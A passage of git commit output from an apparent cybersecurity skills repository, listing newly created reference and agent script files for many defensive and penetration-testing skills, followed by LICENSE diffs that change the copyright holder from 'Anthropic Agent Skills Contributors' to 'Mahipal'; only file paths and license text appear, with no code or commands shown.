skills/implementing-endpoint-dlp-controls/scripts/agent.py create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py create mode 100644 skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md create mode 100644 skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py create mode 100644 skills/implementing-gcp-binary-authorization/references/api-reference.md create mode 100644 skills/implementing-gcp-binary-authorization/scripts/agent.py create mode 100644 skills/implementing-gcp-organization-policy-constraints/references/api-reference.md create mode 100644 skills/implementing-gcp-organization-policy-constraints/scripts/agent.py create mode 100644 skills/implementing-gdpr-data-protection-controls/references/api-reference.md create mode 100644 skills/implementing-gdpr-data-protection-controls/scripts/agent.py create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/scripts/agent.py create mode 100644 skills/implementing-google-workspace-phishing-protection/references/api-reference.md create mode 100644 skills/implementing-google-workspace-phishing-protection/scripts/agent.py create mode 100644 skills/implementing-google-workspace-sso-configuration/references/api-reference.md create mode 100644 skills/implementing-google-workspace-sso-configuration/scripts/agent.py create mode 100644 skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md create mode 100644 skills/implementing-honeypot-for-ransomware-detection/scripts/agent.py create mode 100644 skills/implementing-ics-firewall-with-tofino/references/api-reference.md create mode 100644 skills/implementing-ics-firewall-with-tofino/scripts/agent.py create mode 100644 skills/implementing-identity-governance-with-sailpoint/references/api-reference.md create mode 100644 skills/implementing-identity-governance-with-sailpoint/scripts/agent.py create mode 100644 skills/implementing-identity-verification-for-zero-trust/references/api-reference.md create mode 100644 skills/implementing-identity-verification-for-zero-trust/scripts/agent.py create mode 100644 skills/implementing-iec-62443-security-zones/references/api-reference.md create mode 100644 skills/implementing-iec-62443-security-zones/scripts/agent.py create mode 100644 skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md create mode 100644 skills/implementing-image-provenance-verification-with-cosign/scripts/agent.py create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/scripts/agent.py create mode 100644 skills/implementing-iso-27001-information-security-management/references/api-reference.md create mode 100644 skills/implementing-iso-27001-information-security-management/scripts/agent.py create mode 100644 skills/implementing-just-in-time-access-provisioning/references/api-reference.md create mode 100644 skills/implementing-just-in-time-access-provisioning/scripts/agent.py create mode 100644 skills/implementing-jwt-signing-and-verification/references/api-reference.md create mode 100644 skills/implementing-jwt-signing-and-verification/scripts/agent.py create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py create mode 100644 skills/implementing-kubernetes-pod-security-standards/references/api-reference.md create mode 100644 skills/implementing-kubernetes-pod-security-standards/scripts/agent.py create mode 100644 skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md create mode 100644 skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py create mode 100644 skills/implementing-microsegmentation-with-guardicore/references/api-reference.md create mode 100644 skills/implementing-microsegmentation-with-guardicore/scripts/agent.py create mode 100644 skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md create mode 100644 skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py create mode 100644 skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md create mode 100644 skills/implementing-mitre-attack-coverage-mapping/scripts/agent.py create mode 100644 skills/implementing-mobile-application-management/references/api-reference.md create mode 100644 skills/implementing-mobile-application-management/scripts/agent.py create mode 100644 skills/implementing-nerc-cip-compliance-controls/references/api-reference.md create mode 100644 skills/implementing-nerc-cip-compliance-controls/scripts/agent.py create mode 100644 skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md create mode 100644 skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py create mode 100644 skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md create mode 100644 skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py create mode 100644 skills/implementing-network-policies-for-kubernetes/references/api-reference.md create mode 100644 skills/implementing-network-policies-for-kubernetes/scripts/agent.py create mode 100644 skills/implementing-network-segmentation-for-ot/references/api-reference.md create mode 100644 skills/implementing-network-segmentation-for-ot/scripts/agent.py create mode 100644 skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md create mode 100644 skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py create mode 100644 skills/implementing-ot-incident-response-playbook/references/api-reference.md create mode 100644 skills/implementing-ot-incident-response-playbook/scripts/agent.py create mode 100644 skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md create mode 100644 skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py create mode 100644 skills/implementing-pam-for-database-access/references/api-reference.md create mode 100644 skills/implementing-pam-for-database-access/scripts/agent.py create mode 100644 skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md create mode 100644 skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py create mode 100644 skills/implementing-patch-management-for-ot-systems/references/api-reference.md create mode 100644 skills/implementing-patch-management-for-ot-systems/scripts/agent.py create mode 100644 skills/implementing-patch-management-workflow/references/api-reference.md create mode 100644 skills/implementing-patch-management-workflow/scripts/agent.py create mode 100644 skills/implementing-pci-dss-compliance-controls/references/api-reference.md create mode 100644 skills/implementing-pci-dss-compliance-controls/scripts/agent.py create mode 100644 skills/implementing-pod-security-admission-controller/references/api-reference.md create mode 100644 skills/implementing-pod-security-admission-controller/scripts/agent.py create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py create mode 100644 skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md create mode 100644 skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py create mode 100644 skills/implementing-proofpoint-email-security-gateway/references/api-reference.md create mode 100644 skills/implementing-proofpoint-email-security-gateway/scripts/agent.py create mode 100644 skills/implementing-purdue-model-network-segmentation/references/api-reference.md create mode 100644 skills/implementing-purdue-model-network-segmentation/scripts/agent.py create mode 100644 skills/implementing-ransomware-backup-strategy/references/api-reference.md create mode 100644 skills/implementing-ransomware-backup-strategy/scripts/agent.py create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/scripts/agent.py create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py create mode 100644 skills/implementing-rsa-key-pair-management/references/api-reference.md create mode 100644 skills/implementing-rsa-key-pair-management/scripts/agent.py create mode 100644 skills/implementing-runtime-security-with-tetragon/references/api-reference.md create mode 100644 skills/implementing-runtime-security-with-tetragon/scripts/agent.py create mode 100644 skills/implementing-saml-sso-with-okta/references/api-reference.md create mode 100644 skills/implementing-saml-sso-with-okta/scripts/agent.py create mode 100644 skills/implementing-scim-provisioning-with-okta/references/api-reference.md create mode 100644 skills/implementing-scim-provisioning-with-okta/scripts/agent.py create mode 100644 skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md create mode 100644 skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py create mode 100644 skills/implementing-secrets-management-with-vault/references/api-reference.md create mode 100644 skills/implementing-secrets-management-with-vault/scripts/agent.py create mode 100644 skills/implementing-security-monitoring-with-datadog/SKILL.md create mode 100644 skills/implementing-security-monitoring-with-datadog/references/api-reference.md create mode 100644 skills/implementing-security-monitoring-with-datadog/scripts/agent.py create mode 100644 skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md create mode 100644 skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py create mode 100644 skills/implementing-stix-taxii-feed-integration/references/api-reference.md create mode 100644 skills/implementing-stix-taxii-feed-integration/scripts/agent.py create mode 100644 skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md create mode 100644 skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py create mode 100644 skills/implementing-taxii-server-with-opentaxii/references/api-reference.md create mode 100644 skills/implementing-taxii-server-with-opentaxii/scripts/agent.py create mode 100644 skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md create mode 100644 skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py create mode 100644 skills/implementing-usb-device-control-policy/references/api-reference.md create mode 100644 skills/implementing-usb-device-control-policy/scripts/agent.py create mode 100644 skills/implementing-velociraptor-for-ir-collection/references/api-reference.md create mode 100644 skills/implementing-velociraptor-for-ir-collection/scripts/agent.py create mode 100644 skills/implementing-vulnerability-remediation-sla/references/api-reference.md create mode 100644 skills/implementing-vulnerability-remediation-sla/scripts/agent.py create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py create mode 100644 skills/performing-active-directory-compromise-investigation/references/api-reference.md create mode 100644 skills/performing-active-directory-compromise-investigation/scripts/agent.py create mode 100644 skills/performing-active-directory-penetration-test/references/api-reference.md create mode 100644 skills/performing-active-directory-penetration-test/scripts/agent.py create mode 100644 skills/performing-active-directory-vulnerability-assessment/references/api-reference.md create mode 100644 skills/performing-active-directory-vulnerability-assessment/scripts/agent.py create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py create mode 100644 skills/performing-agentless-vulnerability-scanning/references/api-reference.md create mode 100644 skills/performing-agentless-vulnerability-scanning/scripts/agent.py create mode 100644 skills/performing-alert-triage-with-elastic-siem/references/api-reference.md create mode 100644 skills/performing-alert-triage-with-elastic-siem/scripts/agent.py create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py create mode 100644 skills/performing-api-fuzzing-with-restler/references/api-reference.md create mode 100644 skills/performing-api-fuzzing-with-restler/scripts/agent.py create mode 100644 skills/performing-api-inventory-and-discovery/references/api-reference.md create mode 100644 skills/performing-api-inventory-and-discovery/scripts/agent.py create mode 100644 skills/performing-api-rate-limiting-bypass/references/api-reference.md create mode 100644 skills/performing-api-rate-limiting-bypass/scripts/agent.py create mode 100644 skills/performing-api-security-testing-with-postman/references/api-reference.md create mode 100644 skills/performing-api-security-testing-with-postman/scripts/agent.py create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/scripts/agent.py create mode 100644 skills/performing-authenticated-scan-with-openvas/references/api-reference.md create mode 100644 skills/performing-authenticated-scan-with-openvas/scripts/agent.py create mode 100644 skills/performing-authenticated-vulnerability-scan/references/api-reference.md create mode 100644 skills/performing-authenticated-vulnerability-scan/scripts/agent.py create mode 100644 skills/performing-automated-malware-analysis-with-cape/references/api-reference.md create mode 100644 skills/performing-automated-malware-analysis-with-cape/scripts/agent.py create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py create mode 100644 skills/performing-blind-ssrf-exploitation/references/api-reference.md create mode 100644 skills/performing-blind-ssrf-exploitation/scripts/agent.py create mode 100644 skills/performing-brand-monitoring-for-impersonation/references/api-reference.md create mode 100644 skills/performing-brand-monitoring-for-impersonation/scripts/agent.py create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py create mode 100644 skills/performing-cloud-incident-containment-procedures/references/api-reference.md create mode 100644 skills/performing-cloud-incident-containment-procedures/scripts/agent.py create mode 100644 skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md create mode 100644 skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py create mode 100644 skills/performing-container-image-hardening/references/api-reference.md create mode 100644 skills/performing-container-image-hardening/scripts/agent.py create mode 100644 skills/performing-content-security-policy-bypass/references/api-reference.md create mode 100644 skills/performing-content-security-policy-bypass/scripts/agent.py create mode 100644 skills/performing-credential-access-with-lazagne/references/api-reference.md create mode 100644 skills/performing-credential-access-with-lazagne/scripts/agent.py create mode 100644 skills/performing-cryptographic-audit-of-application/references/api-reference.md create mode 100644 skills/performing-cryptographic-audit-of-application/scripts/agent.py create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py create mode 100644 skills/performing-dark-web-monitoring-for-threats/references/api-reference.md create mode 100644 skills/performing-dark-web-monitoring-for-threats/scripts/agent.py create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/scripts/agent.py create mode 100644 skills/performing-docker-bench-security-assessment/references/api-reference.md create mode 100644 skills/performing-docker-bench-security-assessment/scripts/agent.py create mode 100644 skills/performing-dynamic-analysis-of-android-app/references/api-reference.md create mode 100644 skills/performing-dynamic-analysis-of-android-app/scripts/agent.py create mode 100644 skills/performing-endpoint-forensics-investigation/references/api-reference.md create mode 100644 skills/performing-endpoint-forensics-investigation/scripts/agent.py create mode 100644 skills/performing-endpoint-vulnerability-remediation/references/api-reference.md create mode 100644 skills/performing-endpoint-vulnerability-remediation/scripts/agent.py create mode 100644 skills/performing-external-network-penetration-test/references/api-reference.md create mode 100644 skills/performing-external-network-penetration-test/scripts/agent.py create mode 100644 skills/performing-false-positive-reduction-in-siem/references/api-reference.md create mode 100644 skills/performing-false-positive-reduction-in-siem/scripts/agent.py create mode 100644 skills/performing-graphql-depth-limit-attack/references/api-reference.md create mode 100644 skills/performing-graphql-depth-limit-attack/scripts/agent.py create mode 100644 skills/performing-graphql-introspection-attack/references/api-reference.md create mode 100644 skills/performing-graphql-introspection-attack/scripts/agent.py create mode 100644 skills/performing-hash-cracking-with-hashcat/references/api-reference.md create mode 100644 skills/performing-hash-cracking-with-hashcat/scripts/agent.py create mode 100644 skills/performing-http-parameter-pollution-attack/references/api-reference.md create mode 100644 skills/performing-http-parameter-pollution-attack/scripts/agent.py create mode 100644 skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md create mode 100644 skills/performing-ics-asset-discovery-with-claroty/scripts/agent.py create mode 100644 skills/performing-indicator-lifecycle-management/references/api-reference.md create mode 100644 skills/performing-indicator-lifecycle-management/scripts/agent.py create mode 100644 skills/performing-initial-access-with-evilginx3/references/api-reference.md create mode 100644 skills/performing-initial-access-with-evilginx3/scripts/agent.py create mode 100644 skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md create mode 100644 skills/performing-ip-reputation-analysis-with-shodan/scripts/agent.py create mode 100644 skills/performing-jwt-none-algorithm-attack/references/api-reference.md create mode 100644 skills/performing-jwt-none-algorithm-attack/scripts/agent.py create mode 100644 skills/performing-kerberoasting-attack/references/api-reference.md create mode 100644 skills/performing-kerberoasting-attack/scripts/agent.py create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/scripts/agent.py create mode 100644 skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md create mode 100644 skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py create mode 100644 skills/performing-kubernetes-penetration-testing/references/api-reference.md create mode 100644 skills/performing-kubernetes-penetration-testing/scripts/agent.py create mode 100644 skills/performing-lateral-movement-with-wmiexec/references/api-reference.md create mode 100644 skills/performing-lateral-movement-with-wmiexec/scripts/agent.py create mode 100644 skills/performing-linux-log-forensics-investigation/references/api-reference.md create mode 100644 skills/performing-linux-log-forensics-investigation/scripts/agent.py create mode 100644 skills/performing-log-source-onboarding-in-siem/references/api-reference.md create mode 100644 skills/performing-log-source-onboarding-in-siem/scripts/agent.py create mode 100644 skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md create mode 100644 skills/performing-malware-hash-enrichment-with-virustotal/scripts/agent.py create mode 100644 skills/performing-malware-ioc-extraction/references/api-reference.md create mode 100644 skills/performing-malware-ioc-extraction/scripts/agent.py create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py create mode 100644 skills/performing-network-packet-capture-analysis/references/api-reference.md create mode 100644 skills/performing-network-packet-capture-analysis/scripts/agent.py create mode 100644 skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md create mode 100644 skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py create mode 100644 skills/performing-nist-csf-maturity-assessment/references/api-reference.md create mode 100644 skills/performing-nist-csf-maturity-assessment/scripts/agent.py create mode 100644 skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md create mode 100644 skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py create mode 100644 skills/performing-open-source-intelligence-gathering/references/api-reference.md create mode 100644 skills/performing-open-source-intelligence-gathering/scripts/agent.py create mode 100644 skills/performing-ot-network-security-assessment/references/api-reference.md create mode 100644 skills/performing-ot-network-security-assessment/scripts/agent.py create mode 100644 skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md create mode 100644 skills/performing-ot-vulnerability-assessment-with-claroty/scripts/agent.py create mode 100644 skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md create mode 100644 skills/performing-ot-vulnerability-scanning-safely/scripts/agent.py create mode 100644 skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md create mode 100644 skills/performing-paste-site-monitoring-for-credentials/scripts/agent.py create mode 100644 skills/performing-phishing-simulation-with-gophish/references/api-reference.md create mode 100644 skills/performing-phishing-simulation-with-gophish/scripts/agent.py create mode 100644 skills/performing-physical-intrusion-assessment/references/api-reference.md create mode 100644 skills/performing-physical-intrusion-assessment/scripts/agent.py create mode 100644 skills/performing-plc-firmware-security-analysis/references/api-reference.md create mode 100644 skills/performing-plc-firmware-security-analysis/scripts/agent.py create mode 100644 skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md create mode 100644 skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py create mode 100644 skills/performing-privilege-escalation-on-linux/references/api-reference.md create mode 100644 skills/performing-privilege-escalation-on-linux/scripts/agent.py create mode 100644 skills/performing-privileged-account-discovery/references/api-reference.md create mode 100644 skills/performing-privileged-account-discovery/scripts/agent.py create mode 100644 skills/performing-ransomware-incident-response/references/api-reference.md create mode 100644 skills/performing-ransomware-incident-response/scripts/agent.py create mode 100644 skills/performing-ransomware-tabletop-exercise/references/api-reference.md create mode 100644 skills/performing-ransomware-tabletop-exercise/scripts/agent.py create mode 100644 skills/performing-s7comm-protocol-security-analysis/references/api-reference.md create mode 100644 skills/performing-s7comm-protocol-security-analysis/scripts/agent.py create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py create mode 100644 skills/performing-scada-hmi-security-assessment/references/api-reference.md create mode 100644 skills/performing-scada-hmi-security-assessment/scripts/agent.py create mode 100644 skills/performing-second-order-sql-injection/references/api-reference.md create mode 100644 skills/performing-second-order-sql-injection/scripts/agent.py create mode 100644 skills/performing-web-application-vulnerability-triage/references/api-reference.md create mode 100644 skills/performing-web-cache-deception-attack/references/api-reference.md create mode 100644 skills/performing-web-cache-deception-attack/scripts/agent.py create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/scripts/agent.py create mode 100644 skills/performing-wireless-network-penetration-test/references/api-reference.md create mode 100644 skills/performing-wireless-network-penetration-test/scripts/agent.py create mode 100644 skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md create mode 100644 skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py create mode 100644 skills/performing-yara-rule-development-for-detection/references/api-reference.md create mode 100644 skills/performing-yara-rule-development-for-detection/scripts/agent.py create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py create mode 100644 skills/recovering-from-ransomware-attack/references/api-reference.md create mode 100644 skills/recovering-from-ransomware-attack/scripts/agent.py create mode 100644 skills/reverse-engineering-ios-app-with-frida/references/api-reference.md create mode 100644 skills/reverse-engineering-ios-app-with-frida/scripts/agent.py create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/scripts/agent.py create mode 100644 skills/reverse-engineering-rust-malware/references/api-reference.md create mode 100644 skills/reverse-engineering-rust-malware/scripts/agent.py create mode 100644 skills/scanning-container-images-with-grype/references/api-reference.md create mode 100644 skills/scanning-container-images-with-grype/scripts/agent.py create mode 100644 skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md create mode 100644 skills/scanning-containers-with-trivy-in-cicd/scripts/agent.py create mode 100644 skills/scanning-docker-images-with-trivy/references/api-reference.md create mode 100644 skills/scanning-docker-images-with-trivy/scripts/agent.py create mode 100644 skills/scanning-infrastructure-with-nessus/references/api-reference.md create mode 100644 skills/scanning-infrastructure-with-nessus/scripts/agent.py create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/scripts/agent.py create mode 100644 skills/securing-container-registry-with-harbor/references/api-reference.md create mode 100644 skills/securing-container-registry-with-harbor/scripts/agent.py create mode 100644 skills/securing-github-actions-workflows/references/api-reference.md create mode 100644 skills/securing-github-actions-workflows/scripts/agent.py create mode 100644 skills/securing-helm-chart-deployments/references/api-reference.md create mode 100644 skills/securing-helm-chart-deployments/scripts/agent.py create mode 100644 skills/securing-historian-server-in-ot-environment/references/api-reference.md create mode 100644 skills/securing-historian-server-in-ot-environment/scripts/agent.py create mode 100644 skills/securing-remote-access-to-ot-environment/references/api-reference.md create mode 100644 skills/securing-remote-access-to-ot-environment/scripts/agent.py create mode 100644 skills/testing-android-intents-for-vulnerabilities/references/api-reference.md create mode 100644 skills/testing-android-intents-for-vulnerabilities/scripts/agent.py create mode 100644 skills/testing-api-authentication-weaknesses/references/api-reference.md create mode 100644 skills/testing-api-authentication-weaknesses/scripts/agent.py create mode 100644 skills/testing-api-for-broken-object-level-authorization/references/api-reference.md create mode 100644 skills/testing-api-for-broken-object-level-authorization/scripts/agent.py create mode 100644 skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md create mode 100644 skills/testing-api-for-mass-assignment-vulnerability/scripts/agent.py create mode 100644 skills/testing-for-email-header-injection/references/api-reference.md create mode 100644 skills/testing-for-email-header-injection/scripts/agent.py create mode 100644 skills/testing-for-host-header-injection/references/api-reference.md create mode 100644 skills/testing-for-host-header-injection/scripts/agent.py create mode 100644 skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md create mode 100644 skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py create mode 100644 skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md create mode 100644 skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py create mode 100644 skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md create mode 100644 skills/testing-for-xml-injection-vulnerabilities/scripts/agent.py create mode 100644 skills/testing-mobile-api-authentication/references/api-reference.md create mode 100644 skills/testing-mobile-api-authentication/scripts/agent.py create mode 100644 skills/testing-oauth2-implementation-flaws/references/api-reference.md create mode 100644 skills/testing-oauth2-implementation-flaws/scripts/agent.py create mode 100644 skills/testing-websocket-api-security/references/api-reference.md create mode 100644 skills/testing-websocket-api-security/scripts/agent.py create mode 100644 skills/tracking-threat-actor-infrastructure/references/api-reference.md create mode 100644 skills/tracking-threat-actor-infrastructure/scripts/agent.py create mode 100644 skills/triaging-security-incident-with-ir-playbook/references/api-reference.md create mode 100644 skills/triaging-security-incident-with-ir-playbook/scripts/agent.py create mode 100644 skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md create mode 100644 skills/triaging-vulnerabilities-with-ssvc-framework/scripts/agent.py diff --git a/skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE b/skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE +++ b/skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-api-gateway-access-logs/LICENSE b/skills/analyzing-api-gateway-access-logs/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-api-gateway-access-logs/LICENSE +++ b/skills/analyzing-api-gateway-access-logs/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-apt-group-with-mitre-navigator/LICENSE b/skills/analyzing-apt-group-with-mitre-navigator/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-apt-group-with-mitre-navigator/LICENSE +++ b/skills/analyzing-apt-group-with-mitre-navigator/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-azure-activity-logs-for-threats/LICENSE b/skills/analyzing-azure-activity-logs-for-threats/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-azure-activity-logs-for-threats/LICENSE +++ b/skills/analyzing-azure-activity-logs-for-threats/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-bootkit-and-rootkit-samples/LICENSE b/skills/analyzing-bootkit-and-rootkit-samples/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-bootkit-and-rootkit-samples/LICENSE +++ b/skills/analyzing-bootkit-and-rootkit-samples/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-browser-forensics-with-hindsight/LICENSE b/skills/analyzing-browser-forensics-with-hindsight/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-browser-forensics-with-hindsight/LICENSE +++ b/skills/analyzing-browser-forensics-with-hindsight/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-campaign-attribution-evidence/LICENSE b/skills/analyzing-campaign-attribution-evidence/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-campaign-attribution-evidence/LICENSE +++ b/skills/analyzing-campaign-attribution-evidence/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-certificate-transparency-for-phishing/LICENSE b/skills/analyzing-certificate-transparency-for-phishing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-certificate-transparency-for-phishing/LICENSE +++ b/skills/analyzing-certificate-transparency-for-phishing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-cloud-storage-access-patterns/LICENSE b/skills/analyzing-cloud-storage-access-patterns/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-cloud-storage-access-patterns/LICENSE +++ b/skills/analyzing-cloud-storage-access-patterns/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/LICENSE b/skills/analyzing-cobalt-strike-beacon-configuration/LICENSE index 